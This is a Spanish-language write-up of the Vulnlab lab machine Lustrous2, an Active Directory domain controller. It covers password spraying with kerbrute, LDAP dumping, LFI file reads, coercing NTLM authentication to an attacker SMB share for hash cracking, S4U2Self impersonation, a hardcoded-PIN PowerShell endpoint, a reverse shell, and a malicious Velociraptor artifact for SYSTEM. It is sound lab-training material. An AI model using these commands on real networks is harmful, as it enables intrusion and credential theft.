Lustrous2 - Writeup (Vulnlab)
NMAP
Puertos y Servicios disponibles en el Target.
1 | 21/tcp open ftp |
FOOTHOLD
Puerto 21 | FTP
En el Puerto 21 (FTP), observo que si pruebo el login con un user ‘anonymous’ es valido:
1 | ftp anonymous@lustrous2.vl |
Al enumerar folders, obtengo usuarios dentro de la carpeta HOMES$ y en especial una hint, en el archivo audit.txt, diciendo que las passwords de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear usuarios..
1 | Audit Report Issue Tracking |
Genero un custom wordlist para Kerbrute
Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de contraseñas a los usuarios que obtuve desde la carpeta en el FTP.
1 |
|
Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:
1 | password123 |
Credenciales encontradas
Con el custom wordlist, logro dar con 2 nuevas credenciales:
1 | [+] VALID LOGIN: Terence.Jordan@lustrous2.vl:<REDACTED> |
Extraigo datos desde LDAP’s (port 636).
Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del AD que me va a ser de mayor utilidad luego:
1 | ldapsearch -x -H ldaps://lustrous2.vl:636 -D "Terence.Jordan@lustrous2.vl" -w '<REDACTED>' -b "DC=lustrous2,DC=vl" -o tls_reqcert=never >ldap_outfile.txt |
Kerberos Authentication en Linux
Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto es editando el archivo /etc/krb5.conf
:
1 | [libdefaults] |
Una vez hecho esto, chequeo si funciona solicitando un ticket con getTGT.py de impacket:
1 | getTGT.py lustrous2.vl/Thomas.Myers:'<REDACTED>' -dc-ip 10.10.109.207 |
1 | export KRB5CCNAME=xxxxxxx.ccache |
1 | curl --negotiate -u : http://lus2dc.lustrous2.vl -v |
Configurando Firefox para autenticarse con Kerberos
Al parecer funciono todo bien, pero es algo incomodo gestionar todo con el curl por lo que vamos a configurar Firefox para acceder y autenticar correctamente. Donde exporte el ticket en la consola bash ejecuto firefox:
1 | firefox |
Una vez en el browser en la barra de direcciones:
1 | about:config |
Y seteo cada uno de los siguientes valores:
1 | network.negotiate-auth.trusted-uris --> .lustrous2.vl |
Una vez configurado esto podemos reiniciar firefox y volverlo a abrirlo desde desde la consola que exporte el ticket.
LFI via WEB
Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el FTP como usuario anonymous.
Lo interesante de este link de descarga es que a simple vista encontramos un potencial LFI, lo compruebo al tratar de obtener el archivo hosts del servidor windows:
1 | http://lus2dc.lustrous2.vl/File/Download?fileName=C:/Windows/System32/drivers/etc/hosts |
SMB_SERVER
Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del LuShare, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:
http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.8.0.147\\foo
Efectivamente recibo conexion y me permite sacar el hash, el cual procedo a crackearlo con rockyou.txt.
Obteniendo un nuevo ticket como ShareSvc
Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para ShareSvc.
1 | getTGT.py lustrous2.vl/ShareSvc:'<REDACTED>' -dc-ip 10.10.109.207 |
Y si accedemos via curl para testear, observamos que funciona y nos autentica:
Volviendo al LFI
Aunque haya sacado credenciales de ShareSvc estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del LFI pero esta vez enfocándome en el IIS y en tratar de obtener archivos relevantes del mismo. Entre ellos apunto al web.config.
(El web.config
de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos):
1 | http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config |
Vemos dentro de la config que apunta a un archivo dll llamado LuShare.dll que suena interesante, vamos a descargarlo con el LFI:
1 | http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll |
Decompilando el LuShare.dll
Analizando el dll con DNSPY, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que solo los usuarios que pertenecen al rol ShareAdmins
pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un Forbidden.
Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (ba45c518
en este caso).
- Verificación del PIN: Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.
Para abusar de estas funciones, podría intentar obtener acceso a una cuenta con el rol ShareAdmins
, veamos cuales son los usuarios que poseen este rol, con una rapida busqueda nuevamente con ldapsearch veo dos users potenciales:
- Sharon.Birch
- Ryan.Davies
S4U2Self Abuse
S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.
Basicamentes como decirle a un servicio “hacete pasar por tal usuario” sin pedirle la contraseña. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.
Es lo que hare en este caso impersonando a Sharon.Birch:
1 | getST.py -self -impersonate "Sharon.Birch" -altservice "HTTP/lus2dc.lustrous2.vl" -k -no-pass -dc-ip "10.10.109.207" "Lustrous2.vl/ShareSvc" |
Lo exporto y verifico con klist:
1 | export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache |
Si ahora abro el firefox desde la consola que exporte el certificado de Sharon:
Somos Sharon.Birch. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el LuShare.dll, la cual estaba restringida por el rol de ShareAdmins.
Funcion “DEBUG”
Entre otras de las funciones que figuraba enn el LuShare.dll estaba la funcion de DEBUG, la cual permitia mediante un PIN hardcodeado la ejecucion de comandos en Powershell.
Tambien vemos que solo permite la ejecucion hasta 100 chars. Mas nos da error.
Hagamos la prueba con un simple comando “DIR” y el PIN.
Funciona!, y obtenemos el listado de directorios y archivos actuales:
USER FLAG
Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de C:\.
Descargo el RCAT (by xct) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.
Velociraptor Abuse
Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:
Velociraptor es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:
- Hunts: Búsquedas forenses automáticas para recolectar datos.
- Artifacts: Plantillas para definir qué datos buscar y cómo.
- Server: Centraliza la gestión y los datos recolectados.
- Client: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.
Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de LISTENING.
Velociraptor Port Forwarding
Para trabajar mas cómodo utilizo SLIVER C2 y me hago un forward con SOCKS5 + ProxyChain:
Logro acceder al framework desde firefox con credenciales de operator. (Para ser sincero probe todos los users y passwords iguales y funciono)
Exploiting Velociraptor via Artifacts
Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/
Resaltando lo siguiente:
El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.
Basandome en el template de la documentacion creo lo siguiente (aprovechando el rcat.exe que esta en ProgramData):
Artifact creado: SHKZ
1 | name: SHKZ |
Luego me dirijo a agregar un Hunter y le asigno el Artifact que cree (SHKZ):
Por ultimo le doy a LAUNCH y en segundos obtenemos la shell como SYSTEM
Finalmente Pwn3d!
shkz.